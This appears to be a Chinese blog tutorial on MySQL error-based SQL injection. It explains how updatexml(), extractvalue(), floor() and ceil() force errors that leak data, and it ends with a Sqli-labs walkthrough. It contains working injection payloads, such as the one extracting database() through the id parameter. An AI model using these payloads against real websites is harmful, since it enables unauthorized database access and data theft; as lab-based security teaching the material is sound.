公司部門解散怎么賠償員工seo推薦
關(guān)注這個漏洞的其他相關(guān)筆記:SQL 注入漏洞 - 學(xué)習(xí)手冊-CSDN博客
0x01:報錯盲注 —— 理論篇
報錯盲注(Error-Based Blind SQL Injection)是一種常見的 SQL 注入技術(shù),適用于那些頁面不會直接顯示后端處理結(jié)果的查詢方式,比如 delete
、insert
、update
。
報錯盲注的攻擊原理:攻擊者通過向 SQL 查詢中注入特定的函數(shù),迫使數(shù)據(jù)庫在執(zhí)行查詢時產(chǎn)生錯誤,并利用這些錯誤信息將攻擊者所需要的信息回顯回來。
0x0101:MySQL 報錯盲注 — 相關(guān)函數(shù)
1. updatexml() — xpath 報錯注入
1.1 updatexml() 函數(shù)簡介
MySQL 中的 updatexml()
函數(shù)用于更新 XML 文檔的指定部分并返回修改后的文檔。在需要更改存儲在數(shù)據(jù)庫中的 XML 數(shù)據(jù)的情況下,它特別有用:
?-- updatexml() 語法UPDATEXML(xml_target, xpath_expr, new_xml)?-- updatexml() 參數(shù)解析xml_target : 將要被修改的 XML 文檔xpath_expr : 指定要更新的 XML 文檔部分的 XPath 表達(dá)式new_xml ? : 將替換 xpath_expr 指定的現(xiàn)有內(nèi)容的新 XML 內(nèi)容
以下是該函數(shù)的一個正確的使用示例:
?-- 將原 XML 文檔中的 <name>John</name> 替換為 <name>Blue17</name>select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');
1.2 updatexml() 報錯原理
使用 updatexml()
函數(shù)時,如果 xpath_expr
格式出現(xiàn)錯誤,則 MySQL 將會爆出 xpath
語法錯誤(xpath syntax),比如下面這個例子:
?select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');
1.3 updatexml() 報錯實例
以下是一個使用 updatexml()
函數(shù)進(jìn)行報錯注入的攻擊實例:
?select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);
2. extractvalue() — xpath 報錯注入
2.1 extractvalue() 函數(shù)簡介
MySQL 中的 extractvalue()
函數(shù)用于從目標(biāo) XML 文檔中提取和查詢指定部分的文檔:
?-- extractvalue() 語法EXTRACTVALUE(xml_document, xpath_expr)?-- extractvalue() 參數(shù)解析xml_document : 包含 XML 文檔的字符串或者一個列名xpath_expr ? : 指定要提取的節(jié)點的 xpath 表達(dá)式
以下是該函數(shù)的一個正確的使用示例:
?-- 查詢 XML 文檔中的 /root/name 節(jié)點中的值SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');
2.2 extractvalue() 報錯原理
使用 extractvalue()
函數(shù)時,如果 xpath_expr
格式出現(xiàn)錯誤,則 MySQL 將會爆出 xpath
語法錯誤(xpath syntax),比如下面這個例子:
?SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');
2.3 extractvalue() 報錯實例
以下是一個使用 extractvalue()
函數(shù)進(jìn)行報錯注入的攻擊示例:
?insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);
3. floor() - 虛表主鍵重復(fù)報錯
3.1 floor() 函數(shù)簡介
MySQL 中的 floor()
函數(shù)用戶返回小于或等于指定數(shù)值的最大整數(shù):
-- floor() 語法
FLOOR(number)-- floor() 參數(shù)解析
number : 需要向下取整的數(shù)值表達(dá)式??梢允橇忻?、數(shù)值、算數(shù)表達(dá)式或函數(shù)返回值。
以下是該函數(shù)的一個正確的使用示例:
select floor(4.7);
3.2 floor() 報錯原理
floor()
報錯注入的原理是 group by
在向臨時表中插入數(shù)據(jù)時,由于 rand()
多次計算導(dǎo)致插入臨時表時主鍵重復(fù),從而報錯。又因為報錯前 concat()
中的 SQL 語句或者函數(shù)被執(zhí)行,所以該語句報錯時拋出的主鍵是 SQL 語句或函數(shù)執(zhí)行后的結(jié)果。
關(guān)聯(lián)函數(shù)
rand() / rand(N)
:產(chǎn)生 0~1 (包含 0 和 1)之間的隨機數(shù)。若指定一個整數(shù)參數(shù) N,則它被作用為種子值,用來產(chǎn)生重復(fù)序列。
count(*)
:返回表的記錄數(shù)(行數(shù))
concat()
:將多個字符串連接成一個字符串
group_by
:根據(jù) by 對數(shù)據(jù)按照指定字段進(jìn)行分組(去重),會建立一張臨時表。
ceil()
:向上取整
3.2.1 floor() 報錯需要滿足的條件
-
floor()
報錯注入在 MySQL 版本 8.0 已失效,據(jù)說在 7.3.4nts 中也已經(jīng)失效了。 -
floor()
報錯注入中查詢用到的數(shù)據(jù)表內(nèi)的數(shù)據(jù)必須>=3
條。 -
以下函數(shù)未被 WAF 過濾:
count(*)、floor() 或 ceil()、rand()、group by
。
3.2.2 floor() 報錯原理 - 前置知識
在介紹 floor()
報錯原理之前,我們先來了解一下 MySQL 中的 count()
函數(shù)與 group by
結(jié)合使用時的工作流程。
首先,將下面的語句復(fù)制到數(shù)據(jù)庫中,我們先搭建一個用于測試測環(huán)境:
-- 創(chuàng)建 users 數(shù)據(jù)表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入測試數(shù)據(jù)
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);
接下來,輸入下面的語句,來看一下 count(*)
與 group by
聯(lián)合使用的結(jié)果:
mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname | count(*) |
+--------+----------+
| admin | 2 |
| admin1 | 1 |
| admin2 | 1 |
+--------+----------+
3 rows in set (0.00 sec)
讓我們來分析一下,產(chǎn)生此結(jié)果的流程(這對后續(xù)理解 floor()
報錯注入很重要)。
當(dāng) count(*)
和 group by
碰到一起時,MySQL 會建立一個虛擬表,那時的工作流程如下:
首先 MySQL 會建立一個空的虛擬表,key 為主建,不可重復(fù)(這里的 key 你可以理解為 分組字段,比如 group by uname
,key 就是分組字段,也就是 uname
),此時的虛表長這樣:
key | count(*) |
---|---|
接下來,MySQL 會根據(jù)分組字段到虛表的 key 中查詢,如果 key 中沒有相同的數(shù)據(jù),就將該數(shù)據(jù)添加進(jìn)虛擬表中,并設(shè)置 count 為 1。比如,此時分組字段是 uname
,users
數(shù)據(jù)表中第一個 uname
值為 admin
,虛表中的 key 中不存在 admin
,所以就將此值直接添加進(jìn)虛擬表中,并設(shè)置 count 為 1,此時的虛擬表長這樣:
key | count(*) |
---|---|
admin | 1 |
然后 MySQL 會繼續(xù)查看 users
數(shù)據(jù)表的下一個 uname
值,如果該值在虛擬表的 key
中沒有,則繼續(xù)將該值添加進(jìn)虛擬表中,并設(shè)置其 count(*)
值為 1:
key | count(*) |
---|---|
admin | 1 |
admin1 | 1 |
以此類推,直到碰到下一個 uname
的值為 admin 前,虛擬表中的數(shù)據(jù)如下:
key | count(*) |
---|---|
admin | 1 |
admin1 | 1 |
admin2 | 1 |
如果在虛擬表的 key 中遇到相同的數(shù)據(jù),則 MySQL 不會對數(shù)據(jù)進(jìn)行插入,而是會對 count(*)
進(jìn)行加 1 的操作。比如,此時在 users
數(shù)據(jù)表中又遇到了 uname
值為 admin,該值在虛表中是存在的,所以此時的虛表就變成了如下格式:
key | count(*) |
---|---|
admin | 1 + 1 |
admin1 | 1 |
admin2 | 1 |
流程還是很簡單的,下面我們開始真正進(jìn)入 floor()
報錯注入的原理。在此之前,請記住虛表的一個特性:主鍵不能重復(fù)!
3.2.3 group by floor(rand(0) * 2) 報錯原理
該語句報錯的主要原因如下:
-
group by
產(chǎn)生的虛表中,主鍵不能重復(fù)。 -
rand(0)
函數(shù)執(zhí)行的比 group by 插入虛擬表的速度要快。 -
floor(rand(0) * 2)
結(jié)果是存在規(guī)律的,規(guī)律為:0110110011....
,主要是前五個。
MySQL 官方提示:查詢的時候使用
rand()
,該值會被計算多次!這里的計算多次,在
floor()
報錯中的理解如下:在使用
group by
時,floor(rand(0) * 2)
會被執(zhí)行一次,如果虛表中不存在記錄,插入虛表時會再執(zhí)行一次。
為了便于理解,我們先舉一個特殊的例子:
-- 01. 隨便選擇一個數(shù)據(jù)庫,創(chuàng)建一個空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入兩條數(shù)據(jù),注意,只要插入兩條
insert into test values(0, 'admin');
insert into test values(1, 'admin1');-- 03. 查看 test 表中的數(shù)據(jù)
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
| 0 | admin | 0Look Me |
| 1 | admin1 | 1Look Me |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)-- 04. 反直覺的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me | 2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)
上面 04 實例所展示的結(jié)果,是不是與我們的直覺相反,從 03 來看 concat(floor(rand(0) * 2), "Look Me")
查詢出來的結(jié)果依次是:0Look Me
與 1Look Me
,所以按照道理,在計數(shù)時,最終展示的表格內(nèi)容應(yīng)該如下:
x | count(*) |
---|---|
0Look Me | 1 |
1Look Me | 1 |
但事實卻是,1Look Me
被計數(shù)了兩次。接下來,我們來理理為什么會出現(xiàn)這種結(jié)果。
先來看看下面這條語句的執(zhí)行結(jié)果:
mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me |
| 1Look Me |
+---------------------------------------+
2 rows in set (0.00 sec)
當(dāng)我們?yōu)槠湓黾?count(*)
和 group by
后 MySQL 的運算過程如下:
首先,MySQL 會建立一張?zhí)摫?#xff0c;concat(floor(rand(0) * 2), "Look Me")
是主鍵,里面的值不可重復(fù)(我們將 concat(floor(rand(0) * 2), "Look Me")
簡記為 Key,方便講解):
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
floor(rand(0) * 2)
結(jié)果序列:0110110011....
接下來,MySQL 會讀取第一行 Key 的內(nèi)容和虛表中的 Key 值進(jìn)行比對,此時,MySQL 進(jìn)行了第一次計算 concat(floor(rand(0) * 2), "Look Me")
,得到結(jié)果為 0LookMe
。MySQL 發(fā)現(xiàn)此值并不在虛表中存在,所以決定將此值插入到虛表中,并設(shè)置 count 值為 1。但是,就在 MySQL 準(zhǔn)備將計算結(jié)果插入虛表時,由于 MySQL 的 Bug,導(dǎo)致 concat(floor(rand(0) * 2), "Look Me")
在插入之前又被計算了一次(第二次計算),導(dǎo)致 MySQL 實際插入的值為 1LookMe
,此時虛表中實際的內(nèi)容為:
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 1 |
接著,MySQL 讀取第二行 Key 的內(nèi)容和虛表中的 Key 值進(jìn)行比對,此時,MySQL 第三次計算了 concat(floor(rand(0) * 2), "Look Me")
,得到結(jié)果為 1LookMe
,該值在虛表中存在,所以 MySQL 就會直接執(zhí)行插入操作(因為值在虛表中存在,所以不會觸發(fā) rand()
多次計算的 BUG),所以此時虛表展示的最終結(jié)果為:
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 1+1 |
這就是為什么最終我們看到的,和實際我們想象的不一樣的原因。
接下來,我們往測試表中再次插入一條數(shù)據(jù),觸發(fā) floor()
報錯:
insert into test values(2,'admin2');mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin | 0Look Me |
| admin1 | 1Look Me |
| admin2 | 1Look Me |
+--------+---------------------------------------+
3 rows in set (0.00 sec)
繼續(xù)之前的分析,MySQL 讀取第三行數(shù)據(jù),第四次計算 concat(floor(rand(0) * 2), "Look Me")
的值為 0Look Me
,MySQL 發(fā)現(xiàn)虛表中沒有該值對應(yīng)的 Key,所以,準(zhǔn)備執(zhí)行插入操作。但是就在執(zhí)行插入操作之前,由于 MySQL 的 Bug,其第五次計算了 concat(floor(rand(0) * 2), "Look Me")
,導(dǎo)致實際插入的結(jié)果為 1Look Me
,此時的虛表變成了:
xconcat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 2 |
1Look Me | ? |
可以看到,MySQL 認(rèn)為自己插入的是 0Look Me
,但是由于 Bug,導(dǎo)致實際插入的是 1Look Me
,而 1Look Me
在虛表中是存在的,由于虛表的 Key 唯一的特性,所以 MySQL 此時就會產(chǎn)生報錯:
select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
3.3 floor() 報錯實例
以下是一個使用 floor()
函數(shù)進(jìn)行報錯注入的攻擊示例:
select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;
4. ceil() - 虛表主鍵重復(fù)報錯
4.1 ceil() 函數(shù)簡介
MySQL 中的 ceil()
函數(shù)用于返回大于或等于指定數(shù)值的最小整數(shù):
-- ceil() 語法
CEIL(number)-- ceil() 參數(shù)解析
number : 需要向上取整的數(shù)值表達(dá)式??梢允橇忻?、數(shù)值、算數(shù)表達(dá)式或函數(shù)返回值。
以下是該函數(shù)的一個正確的使用示例:
select ceil(4.1);
4.2 ceil() 報錯原理
ceil()
報錯注入的原理與上面講解的?floor() 報錯原理?一致,所以這里就不多說了。
4.3 ceil() 報錯實例
以下是一個使用 ceil()
函數(shù)進(jìn)行報錯注入的攻擊實例:
select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;
0x02:報錯盲注 —— 實戰(zhàn)篇
本節(jié)重點在于熟悉報錯盲注的注入流程,以及注入原理。練習(xí)靶場為 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶場的配套資源如下(附安裝教程):
實驗工具準(zhǔn)備
PHP 運行環(huán)境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
SQLI LABS 靶場:sqli-labs-php7.zip(安裝教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)
0x0201:第一階段 — 判斷注入點
靶場提示 Please input the ID as parameter with numeric value
要我們輸入一個數(shù)字型的 ID
作為參數(shù)進(jìn)行查詢,那我們就按它的意思傳入 id
看看網(wǎng)頁返回的結(jié)果:
可以看到,服務(wù)器返回了對應(yīng) id
用戶的登錄名與登錄密碼。此時,我們可以再輸入幾個數(shù)據(jù)進(jìn)行測試:
測試 Payload 01: ?id=1 # 結(jié)果: Your Login name:Dumb Your Password:Dumb
測試 Payload 02: ?id=2 # 結(jié)果: Your Login name:Angelina Your Password:I-kill-you
測試 Payload 03: ?id=2-1 # 結(jié)果: Your Login name:Angelina Your Password:I-kill-you
測試 Payload 04: ?id=1' # 結(jié)果: 報錯
可以看到,當(dāng)我們傳遞 Payload 04 給服務(wù)器后端時,頁面顯示了報錯信息,并且還返回了部分后端的查詢模板。
0x0202:第二階段 — 報錯盲注漏洞利用
既然能顯示報錯信息,那么本關(guān)我們就可以直接使用報錯注入(使用 Union 聯(lián)合注入也是可以的,但是,從本關(guān)的名稱 Error based
就可以看出,本關(guān)的考點是報錯注入),攻擊 Payload 如下:
-- 獲取當(dāng)前服務(wù)器正在使用的數(shù)據(jù)庫的名稱
攻擊 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
筆者備注: 0x7e 是字符 ~ 號,用于標(biāo)識服務(wù)器報出來的數(shù)據(jù)。
可以看到,我們已經(jīng)成功獲取了當(dāng)前站點使用的后端數(shù)據(jù)庫的信息。以上,就是報錯盲注的基本利用方式。后面想查啥,直接往報錯注入的回顯點里寫就可以了,筆者在這里就不多說了。